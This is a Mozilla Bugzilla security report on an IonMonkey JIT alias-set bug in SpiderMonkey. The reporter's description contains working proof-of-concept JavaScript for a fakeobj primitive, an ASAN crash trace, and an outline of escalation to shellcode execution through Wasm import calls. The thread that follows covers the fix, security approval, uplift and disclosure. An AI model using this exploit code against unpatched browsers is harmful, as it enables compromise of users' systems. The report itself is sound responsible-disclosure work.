IonMonkey: incorrect alias set of `MObjectToIterator` can lead to exploitable stale pointer loading and fakeobj primitive
Categories
(Core :: JavaScript Engine: JIT, defect, P1)
Tracking
()
| Tracking | Status | |
|---|---|---|
| firefox-esr115 | --- | unaffected |
| firefox-esr140 | --- | unaffected |
| firefox151 | + | fixed |
| firefox152 | + | fixed |
| firefox153 | + | fixed |
People
(Reporter: nebusec.io, Assigned: iain, NeedInfo)
References
(Blocks 2 open bugs, Regression, )
Details
(4 keywords, Whiteboard: [adv-main151.0.3+])
Attachments
(6 files)
|
11.71 KB,
application/x-javascript
|
Details | |
|
48 bytes,
text/x-phabricator-request
|
tjr
:
sec-approval+
|
Details | Review |
|
48 bytes,
text/x-phabricator-request
|
Details | Review | |
|
11.79 KB,
application/x-javascript
|
Details | |
|
48 bytes,
text/x-phabricator-request
|
phab-bot
:
approval-mozilla-beta+
|
Details | Review |
|
48 bytes,
text/x-phabricator-request
|
phab-bot
:
approval-mozilla-release+
|
Details | Review |
IonMonkey: incorrect alias set of MObjectToIterator can lead to exploitable stale pointer loading and fakeobj primitive
Description
ObjectKeysReplacer scalar-replaces an unescaped Object.keys(obj) result with an MObjectToIterator instruction and sets skipRegistration_:
bool ObjectKeysReplacer::run(MInstructionIterator& outerIterator) {
MBasicBlock* startBlock = arr_->block();
objToIter_ = MObjectToIterator::New(alloc_, objectKeys()->object(), nullptr);
objToIter_->setSkipRegistration(true);
arr_->block()->insertBefore(arr_, objToIter_);
// .........
if (!graph_.alloc().ensureBallast()) {
return false;
}
return true;
}
For this mode, MObjectToIterator::getAliasSet() describes the instruction as a load of object fields and elements:
AliasSet getAliasSet() const override {
return skipRegistration_
? AliasSet::Load(AliasSet::ObjectFields | AliasSet::Element)
: AliasSet::Store(AliasSet::Any);
}
That alias set is too weak. The instruction lowers to GetIteratorForObjectKeys / GetIteratorWithIndicesForObjectKeys, which calls GetIteratorImpl and then PropertyEnumerator::snapshot. For native objects with an enumerate hook, snapshot calls the hook before enumerating native properties.
for JSFunction, it will call fun_enumerate then calls HasOwnProperty("prototype" / "length" / "name") HasOwnProperty is not necessarily a side-effect-free lookup for a native object with a resolve hook. For JSFunction, that resolve hook is fun_resolve which will call NativeDefineDataProperty
static bool fun_resolve(JSContext* cx, HandleObject obj, HandleId id,
bool* resolvedp) {
if (!id.isAtom()) {
return true;
}
// .........
bool isLength = id.isAtom(cx->names().length);
if (isLength || id.isAtom(cx->names().name)) {
MOZ_ASSERT(!IsInternalFunctionObject(*obj));
RootedValue v(cx);
if (isLength) {
// .........
}
if (!NativeDefineDataProperty(cx, fun, id, v,
JSPROP_READONLY | JSPROP_RESOLVING)) {
return false;
}
// .........
}
return true;
}
this can glow the slots, a later slot load reusing can load pointer controlled by attacker.
Exploit
We would like to briefly describe how can we craft a fakeobj primitive. This vulnerability actually allow us to dereference a pointer. So first we can spray the pointer first, then we can construct an object with 30 pre-existing dynamic properties. Then a slots reallocation will be triggered when resolving the other lazy properties. Then the later loading, which will reuse the previous loading MSlots, will be the slot with sprayed pointer.
const BASE_PROPS = 26;
const SHAPES = 4;
const ITERS = 350;
const FINAL_K = 2;
const target = 0x414243444546;
function targetByte(i) {
return Number((target >> (8n * BigInt(i))) & 0xffn);
}
const PREFIX = String.fromCharCode(
targetByte(0),
targetByte(1),
targetByte(2),
targetByte(3)
);
const TARGET_SUFFIX = String.fromCharCode(
targetByte(4),
targetByte(5),
0xfe,
0xff
);
function suffix(i) {
if (i === 15) {
return TARGET_SUFFIX;
}
return "" + i;
}
function make(k) {
function g(a, b, c) {}
for (let i = 0; i < BASE_PROPS + k; i++) {
g[PREFIX + suffix(i)] = i;
}
g.p = 13;
g.r = 37;
return g;
}
function makeObjectName(k) {
const g = make(k);
Object.defineProperty(g, "name", {
value: {marker: 7},
writable: true,
configurable: true,
});
return g;
}
function f(o) {
const x = o.p;
Object.keys(o);
const y = o.name;
return x + y.marker;
}
for (let i = 0; i < ITERS; i++) {
if ((i & 7) === 0) {
f(makeObjectName(i % SHAPES));
} else {
f(make(i % SHAPES));
}
}
print(f(make(FINAL_K)));
we tested on commit 9c267d0a950b189974105667e9eb14d2f6172564 (Tue May 19th)
please run with
js --baseline-warmup-threshold=10 --ion-warmup-threshold=100 fakeobj.js
it will segfault at 0x414243444546, with ASAN build without debug option, the stack frame will be:
AddressSanitizer:DEADLYSIGNAL
=================================================================
==3354031==ERROR: AddressSanitizer: SEGV on unknown address 0x414243444546 (pc 0x55994ae039be bp 0x7ffea4ba2df0 sp 0x7ffea4ba2dd0 T0)
==3354031==The signal is caused by a READ memory access.
/audit/ff/firefox/obj-js-asan-no-debug-noopt-x86_64-pc-linux-gnu/dist/bin/llvm-symbolizer: error: '[anon:js-executable-memory]': No such file or directory
#0 0x55994ae039be in js::gc::HeaderWord::get() const /audit/ff/firefox/js/src/gc/Cell.h:113:23
#1 0x55994ae0f533 in js::gc::CellWithTenuredGCPointer<js::gc::Cell, js::Shape>::headerPtr() const /audit/ff/firefox/js/src/gc/Cell.h:846:60
#2 0x55994ae0f4d4 in JSObject::shape() const /audit/ff/firefox/js/src/vm/JSObject.h:92:37
#3 0x55994ae0f474 in JSObject::getClass() const /audit/ff/firefox/js/src/vm/JSObject.h:113:44
#4 0x55994ae0f294 in bool JSObject::is<js::TypedArrayObject>() const /audit/ff/firefox/js/src/vm/TypedArrayObject.h:460:32
#5 0x55994c68a193 in js::jit::GetPropIRGenerator::tryAttachTypedArrayElement(JS::Handle<JSObject*>, js::jit::ObjOperandId) /audit/ff/firefox/obj-js-asan-no-debug-noopt-x86_64-pc-linux-gnu/js/src/jit/./../../../../js/src/jit/CacheIR.cpp:3158:13
#6 0x55994c688949 in js::jit::GetPropIRGenerator::tryAttachStub() /audit/ff/firefox/obj-js-asan-no-debug-noopt-x86_64-pc-linux-gnu/js/src/jit/./../../../../js/src/jit/CacheIR.cpp:468:5
#7 0x55994ca186af in void TryAttachIonStub<js::jit::GetPropIRGenerator, js::jit::CacheKind, JS::Handle<JS::Value>&, JS::Handle<JS::Value>&, JS::Handle<JS::Value>&>(JSContext*, js::jit::IonIC*, js::jit::IonScript*, js::jit::CacheKind&&, JS::Handle<JS::Value>&, JS::Handle<JS::Value>&, JS::Handle<JS::Value>&) /audit/ff/firefox/obj-js-asan-no-debug-noopt-x86_64-pc-linux-gnu/js/src/jit/./../../../../js/src/jit/IonIC.cpp:145:17
#8 0x55994ca15ce0 in js::jit::IonGetPropertyIC::update(JSContext*, JS::Handle<JSScript*>, js::jit::IonGetPropertyIC*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, JS::MutableHandle<JS::Value>) /audit/ff/firefox/obj-js-asan-no-debug-noopt-x86_64-pc-linux-gnu/js/src/jit/./../../../../js/src/jit/IonIC.cpp:174:3
#9 0x19c7acc0d226 ([anon:js-executable-memory]+0x4226)
==3354031==Register values:
rax = 0x0000414243444546 rbx = 0x00007ffea4ba2e80 rcx = 0x00000f62ecf30000 rdx = 0x00007b17679cba00
rdi = 0x0000414243444546 rsi = 0x00007b1767c058c0 rbp = 0x00007ffea4ba2df0 rsp = 0x00007ffea4ba2dd0
r8 = 0x00000f62ecf39740 r9 = 0xf2f2f8f8f2f2f2f8 r10 = 0x0000000000000f01 r11 = 0x000010005496c648
r12 = 0x000010c92c525242 r13 = 0x0000000000000005 r14 = 0x00007ffea4ba3e30 r15 = 0x0000000000000000
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /audit/ff/firefox/js/src/gc/Cell.h:113:23 in js::gc::HeaderWord::get() const
==3354031==ABORTING
Shellcode
To achieve full shellcode execution, we use the stale load as our initial info leak. Then build a fake Uint8Array. Then we abuse Wasm-to-Wasm import calls as a native call primitive. A Wasm exported function object has an extended slot (JSFunction + 0x38 = WASM_FUNC_UNCHECKED_ENTRY_SLOT) This slot normally points to the Wasm unchecked entry. When another Wasm module imports that function, SpiderMonkey copies this slot into FuncImportInstanceData::code. The generated Wasm import call then calls that pointer directly. The full exploit script depends on the js shell as the offset of GOT entry is hardcoded.
Updated•4 months ago
|
| Assignee | ||
Comment 1•4 months ago
|
||
Clever! I confirm that I can reproduce an OOB access using fakeobj.js (after updating to const target = 0x414243444546n; to avoid a TypeError).
This is a somewhat annoying bug to fix. At first glance, it seems like the only approach is to make the alias set more conservative. But I'm a bit concerned that doing so will break some of the optimizations we want to make here.
Alex, do you remember how important it was for this op to be non-effectful? It's a little tricky to make it effectful, because we're already stealing the resume point for the recovery-only ObjectKeysFromIterator op. But maybe ObjectKeysFromIterator shouldn't effectful in the first place?
Comment 2•4 months ago
|
||
Set release status flags based on info from the regressing bug 1995077
| Assignee | ||
Comment 3•4 months ago
|
||
I have a prototype fix, which a) still passes our recoveredOnBailout tests, and b) generates the same optimized MIR for ion/iterator-indices-borrowed-iterator.js. So maybe we don't have to worry about performance here.
Updated•4 months ago
|
| Assignee | ||
Comment 4•4 months ago
|
||
Updated•4 months ago
|
| Assignee | ||
Comment 5•4 months ago
|
||
| Reporter | ||
Comment 6•4 months ago
|
||
| Reporter | ||
Comment 7•4 months ago
|
||
oops not sure why I pasted this one and left the n behind. We slightly update the exploit shellcode_without_flags.js so it can gain code exec without extra flags, basically just wait for the off-thread jit. It seems like this issue can be turned to static analysis rules, we are checking if there are more similar ones.
Updated•4 months ago
|
Updated•4 months ago
|
| Assignee | ||
Comment 8•3 months ago
|
||
Comment on attachment 9588176 [details]
(secure)
Security Approval Request
- How easily could an exploit be constructed based on the patch?: It requires non-trivial insights that aren't highlighted in the patch (using a function's resolve hook to reallocate a slots array).
- Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?: No
- Which branches (beta, release, and/or ESR) are affected by this flaw, and do the release status flags reflect this affected/unaffected state correctly?: Beta and release
- If not all supported branches, which bug introduced the flaw?: Bug 1995077
- Do you have backports for the affected branches?: No
- If not, how different, hard to create, and risky will they be?: The patch should apply cleanly.
- How likely is this patch to cause regressions; how much testing does it need?: There is a small chance of perf regressions, but performance has been unchanged in local testing.
- Is the patch ready to land after security approval is given?: Yes
- Is Android affected?: Yes
Updated•3 months ago
|
| Assignee | ||
Comment 10•3 months ago
|
||
Original Revision: https://phabricator.services.mozilla.com/D301605
Updated•3 months ago
|
Comment 11•3 months ago
|
||
firefox-beta Uplift Approval Request
- User impact if declined/Reason for urgency: Exploitable bug with working POC.
- Code covered by automated testing?: yes
- Fix verified in Nightly?: yes
- Needs manual QE testing?: no
- Steps to reproduce for manual QE testing: No
- Risk associated with taking this patch: low
- Explanation of risk level: This makes our optimizations more conservative.
- String changes made/needed?: None
- Is Android affected?: yes
Comment 12•3 months ago
|
||
firefox-release Uplift Approval Request
- User impact if declined/Reason for urgency: Exploitable bug with working POC.
- Code covered by automated testing?: yes
- Fix verified in Nightly?: yes
- Needs manual QE testing?: no
- Steps to reproduce for manual QE testing: No
- Risk associated with taking this patch: low
- Explanation of risk level: This makes our optimizations more conservative.
- String changes made/needed?: None
- Is Android affected?: yes
| Assignee | ||
Comment 13•3 months ago
|
||
Original Revision: https://phabricator.services.mozilla.com/D301605
Comment 14•3 months ago
|
||
Updated•3 months ago
|
Updated•3 months ago
|
Comment 15•3 months ago
|
||
| uplift | ||
Updated•3 months ago
|
Updated•3 months ago
|
Updated•3 months ago
|
Comment 16•3 months ago
|
||
| uplift | ||
Updated•3 months ago
|
Updated•3 months ago
|
Updated•3 months ago
|
| Reporter | ||
Comment 17•3 months ago
|
||
We would like to ask whether it would be acceptable for us to publicly share a short video demonstrating the exploitation process for this vulnerability.
To be clear, the video would only show the exploit result and high-level demonstration flow. We will not disclose any information related to the vulnerability’s root cause, technical details, or any other content that could help others reproduce or understand the vulnerability.
If needed, we would be happy to share the video with you for review before publishing it. We will of course follow any disclosure guidance or restrictions :)
Comment 18•3 months ago
•
|
||
We do not ask for your silence as per our bug bounty policies (https://www.mozilla.org/en-US/security/bug-bounty/faq/#nondisclosure), but it would be great if the technical details are hidden for a while. We typically ask for ~6 weeks to make sure that everyone gets an update.
If you want to put something out now, I'd like to ask you that you mention that this is already fixed in 151.0.3 and that people should make sure to use a version of Firefox that is up to date :)
| Reporter | ||
Comment 19•2 months ago
|
||
May I ask whether this vulnerability is eligible for a bug bounty?
| Reporter | ||
Comment 20•2 months ago
|
||
(In reply to Nebula Security (@nebusecurity) [:nebusec.io] from comment #17)
We would like to ask whether it would be acceptable for us to publicly share a short video demonstrating the exploitation process for this vulnerability.
To be clear, the video would only show the exploit result and high-level demonstration flow. We will not disclose any information related to the vulnerability’s root cause, technical details, or any other content that could help others reproduce or understand the vulnerability.
If needed, we would be happy to share the video with you for review before publishing it. We will of course follow any disclosure guidance or restrictions :)
Hey, as we mentioned above, since https://data.firefox.com/dashboard/user-activity shows that many users have updated to the latest version, we would probably share more info.
Comment 21•1 month ago
|
||
(In reply to Nebula Security (@nebusecurity) [:nebusec.io] from comment #19)
May I ask whether this vulnerability is eligible for a bug bounty?
It sounds like you are interested in a bug bounty, so I'll set the bug-bounty? flag so that it will be considered at the next weekly bug bounty committee meeting. In general, questions about bug bounties are better directed by email to security@mozilla.org rather than in a comment in Bugzilla, which tends to be focused on the engineering work and not the bounty program, which as you've seen can cause something to go overlooked.
It looks like they published a blog post on this on July 21, so I'll add a link here.
Comment 22•1 month ago
|
||
(In reply to Nebula Security (@nebusecurity) [:nebusec.io] from comment #19)
May I ask whether this vulnerability is eligible for a bug bounty?
Also, if you submit a bug via the Client Bug Bounty Form it will automatically set the sec-bounty? flag.
Updated•21 days ago
|
Updated•8 days ago
|
Comment 23•8 days ago
|
||
Comment 24•8 days ago
|
||
| bugherder | ||
Description
•